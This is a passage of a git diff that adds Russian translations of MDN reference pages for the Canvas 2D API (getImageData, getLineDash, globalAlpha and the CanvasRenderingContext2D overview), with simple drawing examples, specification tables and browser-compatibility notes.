+ <li>In Gecko, when setting a system font as the value of a canvas 2D context's {{domxref("CanvasRenderingContext2D.font", "font")}} (e.g., <code>menu</code>), getting the font value used to fail to return the expected font (it returns nothing). This is fixed in Firefox's <a href="https://wiki.mozilla.org/Quantum/Stylo">Quantum/Stylo</a> parallel CSS engine, released in Firefox 57 ({{bug(1374885)}}).</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, определяющий это свойство: {{domxref("CanvasRenderingContext2D")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/getimagedata/index.html b/files/ru/web/api/canvasrenderingcontext2d/getimagedata/index.html
new file mode 100644
index 0000000000..879efff5f0
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/getimagedata/index.html
@@ -0,0 +1,108 @@
+---
+title: CanvasRenderingContext2D.getImageData()
+slug: Web/API/CanvasRenderingContext2D/getImageData
+tags:
+  - API
+  - Canvas
+  - Method
+translation_of: Web/API/CanvasRenderingContext2D/getImageData
+---
+<div>{{APIRef}}</div>
+
+<p><code><strong>CanvasRenderingContext2D</strong></code><strong><code>.getImageData() </code></strong><code>-</code> метод Canvas 2D API, возвращает объект {{domxref("ImageData")}}, представляющий базовые пиксельные данные для области холста, обозначенного прямоугольником, который начинается в точке <em>(sx, sy)</em> и имеет ширину <em>sw</em> и высоту <em>sh</em>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">ImageData <var><em>ctx</em>.getImageData(sx, sy, sw, sh);</var>
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>sx</code></dt>
+ <dd>Координата x верхнего левого угла прямоугольника, из которого будет извлечен ImageData.</dd>
+ <dt><code>sy</code></dt>
+ <dd>Координата y верхнего левого угла прямоугольника, из которого будет извлечен ImageData.</dd>
+ <dt><code>sw</code></dt>
+ <dd>Ширина прямоугольника, из которого будет извлечен ImageData.</dd>
+ <dt><code>sh</code></dt>
+ <dd>Высота прямоугольника, из которого будет извлечен ImageData.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Объект {{domxref("ImageData")}}, содержащий данные изображения для данного прямоугольника холста.</p>
+
+<h3 id="Выбрасываемые_ошибки">Выбрасываемые ошибки</h3>
+
+<dl>
+ <dt><code>IndexSizeError</code></dt>
+ <dd>Выбрасывает, если аргумент высоты или ширины равен нулю.</dd>
+ <dt><code>SecurityError</code></dt>
+ <dd>The canvas contains or may contain pixels which were loaded from an origin other than the one from which the document itself was loaded. To avoid <code>SecurityError</code> being thrown in this situation, configure CORS to allow the source image to be used in this way. See <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/CORS_enabled_image">Allowing cross-origin use of images and canvas</a>.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p> </p>
+
+<h3 id="Getting_image_data_from_a_canvas">Getting image data from a canvas</h3>
+
+<p>This example draws a rectangle, and then uses <code>getImageData()</code> to grab a portion of the canvas.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre><code>&lt;canvas id="canvas"&gt;&lt;/canvas&gt;</code></pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<p>The object retrieved by <code>getImageData()</code> has a width of 200 and a height of 100, for a total of 20,000 pixels. Of those pixels, most are either transparent or taken from off the canvas; only 5,000 of them are opaque black (the color of the drawn rectangle).</p>
+
+<pre><code>const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+ctx.rect(10, 10, 100, 100);
+ctx.fill();
+
+let imageData = ctx.getImageData(60, 60, 200, 100);
+ctx.putImageData(imageData, 150, 10);</code></pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{EmbedLiveSample("Getting_image_data_from_a_canvas", 700, 180)}}</p>
+
+<p> </p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-getimagedata", "CanvasRenderingContext2D.getImageData")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.CanvasRenderingContext2D.getImageData")}}</p>
+
+<p> </p>
+
+<h2 id="См_также">См также</h2>
+
+<ul>
+ <li>Интерфейс, определяющий его, {{domxref("CanvasRenderingContext2D")}}.</li>
+ <li>{{domxref("ImageData")}}</li>
+ <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas">Pixel manipulation with canvas</a></li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/getlinedash/index.html b/files/ru/web/api/canvasrenderingcontext2d/getlinedash/index.html
new file mode 100644
index 0000000000..8d1ad2b626
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/getlinedash/index.html
@@ -0,0 +1,79 @@
+---
+title: CanvasRenderingContext2D.getLineDash()
+slug: Web/API/CanvasRenderingContext2D/getLineDash
+translation_of: Web/API/CanvasRenderingContext2D/getLineDash
+---
+<div>{{APIRef}}</div>
+
+<p>Метод <strong><code>CanvasRenderingContect2D.getLineDash()</code></strong>, предоставляемый Canvas 2D API который возвращает текущий паттерн штриховки линии.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>ctx</em>.getLineDash();</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{jsxref("Array")}} (массив) чисел которые обозначают расстояния рисования линий и разрывов (в еденицах пространства координат). Если число заданных элементов нечетное, то заданные элементы массива копируются и суммируются. Например, установив штрихи линии как <code>[5, 15, 25]</code> в результате мы получим <code>[5, 15, 25, 5, 15, 25]</code>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Получение_текущей_настройки_штриховки_линии">Получение текущей настройки штриховки линии</h3>
+
+<p>Этот пример демонстрирует метод <code>getLineDash()</code>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<p>Используя {{domxref("CanvasRenderingContext2D.setLineDash()", "setLineDash()")}} задано, что шрихи состоят из отрезков в 10 еденииц и разрывами между ними в 20 едениц.</p>
+
+<pre class="brush: js; highlight:[5]">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.setLineDash([10, 20]);
+console.log(ctx.getLineDash());  // [10, 20]
+
+// Нарисовать штрихованную линию
+ctx.beginPath();
+ctx.moveTo(0, 50);
+ctx.lineTo(300, 50);
+ctx.stroke();
+</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{ EmbedLiveSample('Getting_the_current_line_dash_setting', 700, 180) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-getlinedash", "CanvasRenderingContext2D.getLineDash")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.getLineDash")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, предоставляющий данный метод: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.setLineDash()")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.lineDashOffset")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/globalalpha/index.html b/files/ru/web/api/canvasrenderingcontext2d/globalalpha/index.html
new file mode 100644
index 0000000000..452657ae7b
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/globalalpha/index.html
@@ -0,0 +1,140 @@
+---
+title: CanvasRenderingContext2D.globalAlpha
+slug: Web/API/CanvasRenderingContext2D/globalAlpha
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Property
+  - Reference
+  - Свойства
+  - Ссылки
+translation_of: Web/API/CanvasRenderingContext2D/globalAlpha
+---
+<div>{{APIRef}}</div>
+
+<p>Свойство <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.globalAlpha</code></strong> Canvas 2D API определяет альфа-(прозрачность) значение, которое будет применено к фигурам и картинкам до того как они будут отрисованы на холсте.</p>
+
+<div class="note">
+<p>Смотрите также <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors">Applying styles and color</a> в <a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas Tutorial</a>.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>ctx</em>.globalAlpha = <em>value</em>;
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>Число между <code>0.0</code> (полная прозрачность) и <code>1.0</code> (полная непрозрачность), включительно. Дефолтное значение <code>1.0</code>. Значение, не входящее в указанный диапазон, включая {{jsxref("Infinity")}} и {{jsxref("NaN")}}, не будут применены, и <code>globalAlpha</code> сохранит предыдущее значение или значение по-умолчанию.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Отрисовка_полупрозрачных_фигур">Отрисовка полупрозрачных фигур</h3>
+
+<p>В этом примере используется свойство <code>globalAlpha</code> для отрисовки двух полупрозрачных прямоугольников.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight[4]">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.globalAlpha = 0.5;
+
+ctx.fillStyle = 'blue';
+ctx.fillRect(10, 10, 100, 100);
+
+ctx.fillStyle = 'red';
+ctx.fillRect(50, 50, 100, 100);
+</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{ EmbedLiveSample('Drawing_translucent_shapes', 700, 180) }}</p>
+
+<h3 id="Наложение_прозрачных_фигур">Наложение прозрачных фигур</h3>
+
+<p>Этот пример демонстрирует эффект наложения нескольних прозрачных фигур друг на друга. Мы начнем с отрисовки непрозрачного фона, состоящего из четырех разноцветных квадратов. Далее мы устанавливаем свойство <code>globalAlpha</code> равное <code>0.2</code> (20% прозрачности); Уровень прозрачности будет применен ко всем прозрачным фигурам. Затем мы используем цикл <code>for</code> для отрисовки нескольких кругов с увеличивающимися радиусами.</p>
+
+<p>Для каждого нового круга прозрачность кругов, находящихся под ним,  уменьшается. Если вы увеличите количество шагов, тем самым увеличив количество кругов, фон в конечном итоге полностью исчезнет в центре изображения.</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+</div>
+
+<pre class="brush: js">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+// Рисуем фон
+ctx.fillStyle = '#FD0';
+ctx.fillRect(0, 0, 75, 75);
+ctx.fillStyle = '#6C0';
+ctx.fillRect(75, 0, 75, 75);
+ctx.fillStyle = '#09F';
+ctx.fillRect(0, 75, 75, 75);
+ctx.fillStyle = '#F30';
+ctx.fillRect(75, 75, 75, 75);
+ctx.fillStyle = '#FFF';
+
+// Устанавливаем уровень прозрачности
+ctx.globalAlpha = 0.2;
+
+// Рисуем круги
+for (let i = 0; i &lt; 7; i++) {
+  ctx.beginPath();
+  ctx.arc(75, 75, 10 + 10 * i, 0, Math.PI * 2, true);
+  ctx.fill();
+}
+</pre>
+
+<p>{{EmbedLiveSample("Overlaying_transparent_shapes", "180", "180", "https://mdn.mozillademos.org/files/232/Canvas_globalalpha.png")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-globalalpha", "CanvasRenderingContext2D.globalAlpha")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.globalAlpha")}}</p>
+
+<h3 id="Gecko-specific_notes">Gecko-specific notes</h3>
+
+<ul>
+ <li>Starting with Gecko 5.0, specifying invalid values for <code>globalAlpha</code> no longer throws a <code>SYNTAX_ERR</code> exception; these are now correctly silently ignored.</li>
+</ul>
+
+<h3 id="WebKitBlink-specific_notes">WebKit/Blink-specific notes</h3>
+
+<ul>
+ <li>In WebKit- and Blink-based browsers, a non-standard and deprecated method <code>ctx.setAlpha()</code> is implemented in addition to this property.</li>
+</ul>
+
+<h2 id="Читайте_также">Читайте также</h2>
+
+<ul>
+ <li>The interface defining this property: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.globalCompositeOperation")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/index.html b/files/ru/web/api/canvasrenderingcontext2d/index.html
new file mode 100644
index 0000000000..a683704e3a
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/index.html
@@ -0,0 +1,449 @@
+---
+title: CanvasRenderingContext2D
+slug: Web/API/CanvasRenderingContext2D
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Games
+  - Graphics
+  - NeedsTranslation
+  - Reference
+  - Référence(2)
+  - TopicStub
+translation_of: Web/API/CanvasRenderingContext2D
+---
+<div>{{APIRef}}</div>
+
+<p>Интерфейс <code><strong>CanvasRenderingContext2D</strong></code> предоставляет контекст 2D рендеринга для поверхности рисования элемента {{ HTMLElement("canvas") }}.</p>
+
+<p>Для того, чтобы получить объект этого интерфейса, следует вызвать метод {{domxref("HTMLCanvasElement.getContext()", "getContext()")}} объекта <code>&lt;canvas&gt;</code>, передав ему в качестве первого аргумента строку "2d":</p>
+
+<pre class="brush: js">var canvas = document.getElementById('mycanvas');
+var ctx = canvas.getContext('2d');
+</pre>
+
+<p>После того, как получен контекст 2D рендеринга для элемента canvas, вы можете начать работу с ним. Например:</p>
+
+<pre class="brush: js">ctx.fillStyle = "rgb(200,0,0)";
+ctx.fillRect(10, 10, 55, 50);
+</pre>
+
+<p>Свойства и методы контекста 2D рендеринга представлены на боковой панели и далее по тексту. Кроме того, в <a href="/en-US/docs/Web/API/Canvas_API/Tutorial" title="Canvas tutorial">руководстве по canvas</a> содержится больше информации, примеров и ссылок на ресурсы по этой теме.</p>
+
+<h2 id="Рисование_прямоугольников">Рисование прямоугольников</h2>
+
+<p>Существует три метода, которые сразу же рисуют прямоугольники на холсте.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.clearRect()")}}</dt>
+ <dd>Для всех пикселей, находящихся внутри прямоугольника, определенного начальной точкой <em>(x, y)</em> и размерами <em>(ширина, высота),</em> устанавливает черный прозрачный цвет, стирая любое ранее нарисованное содержимое.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.fillRect()")}}</dt>
+ <dd>Рисует залитый прямоугольник в позиции <em>(x, y)</em>, размеры которого определяются шириной <em>width</em> и высотой <em>height</em>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.strokeRect()")}}</dt>
+ <dd>Рисует на холсте прямоугольник с начальной точкой в позиции <em>(x, y)</em>, имеющий ширину <em>w</em> и высоту <em>h</em>, используя текущий стиль обводки.</dd>
+</dl>
+
+<h2 id="Рисование_текста">Рисование текста</h2>
+
+<p>Следующие методы позволяют создать текст. Смотрите так же информацию об объекте {{domxref("TextMetrics")}}, хранящем свойства текста.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.fillText()")}}</dt>
+ <dd>Рисует (заливает) заданный текст в заданной позиции (x,y).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.strokeText()")}}</dt>
+ <dd>Рисует обводку заданного текста в заданной позиции <em>(x, y)</em>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.measureText()")}}</dt>
+ <dd>Возвращает объект {{domxref("TextMetrics")}}.</dd>
+</dl>
+
+<h2 id="Стили_линий">Стили линий</h2>
+
+<p>Следующие методы и свойства определяют как будут отрисовываться линии.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.lineWidth")}}</dt>
+ <dd>Ширина линий. По умолчанию <code>1.0</code></dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineCap")}}</dt>
+ <dd>Форма концов линий. Возможные значения: <code>butt</code> (по умолчанию), <code>round</code>, <code>square</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineJoin")}}</dt>
+ <dd>Определяет форму вершин, в которых две линии сходятся. Возможные значения: <code>round</code>, <code>bevel</code>, <code>miter</code> (по умолчанию).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.miterLimit")}}</dt>
+ <dd>Ограничение длины сопряжений. По умолчанию <code>10</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.getLineDash()")}}</dt>
+ <dd>Возвращает текущий паттерн штриховой линии, который представляет собой массив, состоящий из четного количества неотрицательных чисел.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.setLineDash()")}}</dt>
+ <dd>Устанавливает текущий паттерн штриховой линии.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineDashOffset")}}</dt>
+ <dd>Указывает с какого места начать штриховку линии.</dd>
+</dl>
+
+<h2 id="Стили_текста">Стили текста</h2>
+
+<p>Следующие свойства контролируют отображение текста.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.font")}}</dt>
+ <dd>Настройки шрифта. Значение по умолчанию: <code>10px sans-serif</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.textAlign")}}</dt>
+ <dd>Определяет выравнивание текста по горизонтали. Возможные значения: <code>start</code> (по умолчанию), <code>end</code>, <code>left</code>, <code>right</code> или <code>center</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.textBaseline")}}</dt>
+ <dd>Определяет выравнивание текста относительно базовой линии. Возможные значения: <code>top</code>, <code>hanging</code>, <code>middle</code>, <code>alphabetic</code> (по умолчанию), <code>ideographic</code>, <code>bottom</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.direction")}}</dt>
+ <dd>Направление текста. Возможные значения: <code>ltr, rtl</code>, <code>inherit</code> (по умолчанию).</dd>
+</dl>
+
+<h2 id="Стили_заливки_и_обводки">Стили заливки и обводки</h2>
+
+<p>Стили заливки применяются к цветам и стилям внутри форм, а стили обводки применяются к линиям вокруг форм.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.fillStyle")}}</dt>
+ <dd>Цвет или стиль применяемый внутри форм. По умолчанию #000 (черный).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.strokeStyle")}}</dt>
+ <dd>Цвет или стиль , применяемый к линиям вокруг формы. По умолчанию #000 (черный).</dd>
+</dl>
+
+<h2 id="Градиенты_и_шаблоны">Градиенты и шаблоны</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.createLinearGradient()")}}</dt>
+ <dd>Создает линейный градиент вдоль линии, задаваемой координатами, передаваемыми в параметры метода.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.createRadialGradient()")}}</dt>
+ <dd>Создает радиальный градиент, задаваемый координатами двух окружностей, передаваемыми в параметры метода.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.createPattern()")}}</dt>
+ <dd>Создает шаблон, используя указанное изображение ({{domxref("CanvasImageSource")}}). Он повторяет исходное изображение в направлениях, указанных во втором аргументе. Этот метод возвращает {{domxref("CanvasPattern")}}.</dd>
+</dl>
+
+<h2 id="Тени">Тени</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowBlur")}}</dt>
+ <dd>Устанавливает эффект размытия. По умолчанию <code>0</code></dd>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowColor")}}</dt>
+ <dd>Цвет тени. По умолчанию полностью прозрачный черный.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowOffsetX")}}</dt>
+ <dd>Горизонтальное смещение тени. По умолчанию 0.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.shadowOffsetY")}}</dt>
+ <dd>Вертикальное смещение тени. По умолчанию 0.</dd>
+</dl>
+
+<h2 id="Контуры">Контуры</h2>
+
+<p>Следующие методы могут быть использованы для манипулирования контурами объектов.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.beginPath()")}}</dt>
+ <dd>Создает новый пустой контур, обнуляя список фрагментов контура. Вызовите этот метод, когда захотите создать новый контур.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.closePath()")}}</dt>
+ <dd>Перемещает точку рисования назад к началу текущего фрагмента контура. Этот метод пытается провести прямую линию от текущей точки до начальной. Если форма уже закрыта или имеет только одну точку, метод ничего не делает.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.moveTo()")}}</dt>
+ <dd>Перемещает начальную точку нового фрагмента контура в точку с координатами <strong>(x, y)</strong>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineTo()")}}</dt>
+ <dd>Соединяет последнюю точку фрагмента контура и точку с координатами <code>(x,y) </code>прямой линией .</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.bezierCurveTo()")}}</dt>
+ <dd>Добавляет кубическую кривую Безье к контуру. Для построения требуется три точки. Первые две точки являются контрольными, а третья - конечной. В качестве начальной точки выступает последняя точка текущего фрагмента контура, но она может быть изменена с помощью метода moveTo() перед созданием кривой Безье.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.quadraticCurveTo()")}}</dt>
+ <dd>Добавляет квадратичную кривую Безье к текущему контуру.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.arc()")}}</dt>
+ <dd>Добавляет к контуру дугу, с центром в точке <em>(x, y)</em>, радиусом <em>r,</em> имеющую угол начала <em>startAngle</em> и конца <em>endAngle</em>, рисующуюся в направлении, заданном в аргументе <em>anticlockwise</em> (по умолчанию - по часовой стрелке).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.arcTo()")}}</dt>
+ <dd>Добавляет к контуру дугу, заданную контрольными точками и радиусом, соединяющуюся с предыдущей точкой прямой линией.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.ellipse()")}} {{experimental_inline}}</dt>
+ <dd>Добавляет к контуру эллипс, с центром в точке <em>(x, y)</em>, заданный радиусами <em>radiusX</em> и <em>radiusY</em>, имеющий угол начала <em>startAngle</em> и конца <em>endAngle</em>, рисующийся в направлении, заданном в аргументе <em>anticlockwise</em> (по умолчанию - по часовой стрелке).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.rect()")}}</dt>
+ <dd>Создает контур прямоугольника с началом в точке <em>(x, y)</em>, и размерами, заданными шириной <em>width</em> и высотой <em>height</em>.</dd>
+</dl>
+
+<h2 id="Рисование_контуров">Рисование контуров</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.fill()")}}</dt>
+ <dd>Заливает фрагменты контура текущей заливкой.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.stroke()")}}</dt>
+ <dd>Выполняет обводку фрагментов контура текущей обводкой.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.drawFocusIfNeeded()")}}</dt>
+ <dd>Если заданный элемент находится в фокусе, этот метод рисует рамку фокуса вокруг текущего контура.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.scrollPathIntoView()")}}</dt>
+ <dd>Прокручивает текущий или заданный контур в видимую область окна браузера.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.clip()")}}</dt>
+ <dd>Создает область отсечения из текущих фрагментов контура. Все что рисуется после вызова метода <code>clip()</code> применяется только внутри области отсечения. Пример использования см. в разделе <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Compositing" title="Clipping paths">Области отсечения</a> руководства по Canvas.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.isPointInPath()")}}</dt>
+ <dd>Позволяет узнать, содержится ли указанная точка в текущем контуре.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.isPointInStroke()")}}</dt>
+ <dd>Позволяет узнать, находится ли указанная точка на обводке контура.</dd>
+</dl>
+
+<h2 id="Трансформации">Трансформации</h2>
+
+<p>Объекты в контексте рендеринга <code>CanvasRenderingContext2D</code> имеют текущую матрицу преобразований и методы для управления ей. Матрица преобразований применяется в момент создания текущего контура по умолчанию, рисования текста, форм и объектов {{domxref("Path2D")}}. Методы, перечисленные ниже, остаются по историческим причинам и из соображений совместимости, в то время как в настоящее время в большинстве разделов API используются объекты {{domxref("SVGMatrix")}}, которые будут использоваться в будущем как замена устаревшим методам.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.currentTransform")}}</dt>
+ <dd>Текущая матрица преобразований ({{domxref("SVGMatrix")}} object).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.rotate()")}}</dt>
+ <dd>Добавляет вращение в матрицу преобразований. Аргумент представляет угол вращения по часовой стрелке, выраженный в радианах.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.scale()")}}</dt>
+ <dd>Добавляет к  элементам холста трансформацию масштабирования в x раз по горизонтали и y раз по вертикали.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.translate()")}}</dt>
+ <dd>Добавляет трансформацию перемещения, перемещая начальную точку системы координат холста на x по горизонтали и y по вертикали.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.transform()")}}</dt>
+ <dd>Управляет текущей матрицей преобразований при помощи матрицы, описанной аргументами, переданными в метод.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.setTransform()")}}</dt>
+ <dd>Переустанавливает текущую матрицу преобразований в единичную матрицу, после чего вызывает метод <code>transform()</code> с теми же аргументами.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.resetTransform()")}} {{experimental_inline}}</dt>
+ <dd>Переустанавливает текущую матрицу преобразований в единичную матрицу.</dd>
+</dl>
+
+<h2 id="Композиция">Композиция</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.globalAlpha")}}</dt>
+ <dd>Значение альфа-канала, применяемое к формам и изображениям, прежде чем они накладываются на холст. Значение по умолчанию <code>1.0</code> (полностью непрозначный).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.globalCompositeOperation")}}</dt>
+ <dd>Совместно с примененным <code>globalAlpha</code> это свойство определяет как формы и изображения накладываются на существующее изображение.</dd>
+</dl>
+
+<h2 id="Рисование_изображений">Рисование изображений</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.drawImage()")}}</dt>
+ <dd>Рисует заданное изображение. У этого метода есть несколько различных форматов вызова, что обеспечивает большую гибкость в его использовании.</dd>
+</dl>
+
+<h2 id="Манипулирование_пикселями">Манипулирование пикселями</h2>
+
+<p>См. также объект {{domxref("ImageData")}}.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.createImageData()")}}</dt>
+ <dd>Создает новый пустой объект {{domxref("ImageData")}} с заданными размерами. Цвет всех пикселов в новом объекте устанавливается в прозрачный черный.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.getImageData()")}}</dt>
+ <dd>Возвращает объект {{domxref("ImageData")}}, представляющий данные о пикселах, расположенных под областью холста, ограниченной прямоугольником длиной <em>sw</em> и высотой <em>sh</em>, начальная точка которого находится в позиции <em>(sx, sy)</em>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.putImageData()")}}</dt>
+ <dd>Переносит данные, заданные в объекте {{domxref("ImageData")}}, на холст. Если в аргументах задана уточняющая прямоугольная область, отрисованы  будут только пикселы из этой области.</dd>
+</dl>
+
+<h2 id="Сглаживание_изображений">Сглаживание изображений</h2>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.imageSmoothingEnabled")}} {{experimental_inline}}</dt>
+ <dd>Режим сглаживания изображений; если отключен, изображения не будут сглаживаться при масштабировании.</dd>
+</dl>
+
+<h2 id="Состояние_холста">Состояние холста</h2>
+
+<p>Контекст рендеринга <code>CanvasRenderingContext2D</code> содержит множество состояний стилей рисования (атрибуты для стилей линий, стили теней, стили текста). Следующие методы помогут вам работать с этими состояниями:</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.save()")}}</dt>
+ <dd>Сохраняет текущее состояние стилей рисования, используя для этого стек, так что вы можете отменить любые внесенные в него изменения с помощью метода <code>restore()</code>.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.restore()")}}</dt>
+ <dd>Восстанавливает состояние стилей рисования в значение, сохраненное методом <code>save()</code> в стек состояний последним.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.canvas")}}</dt>
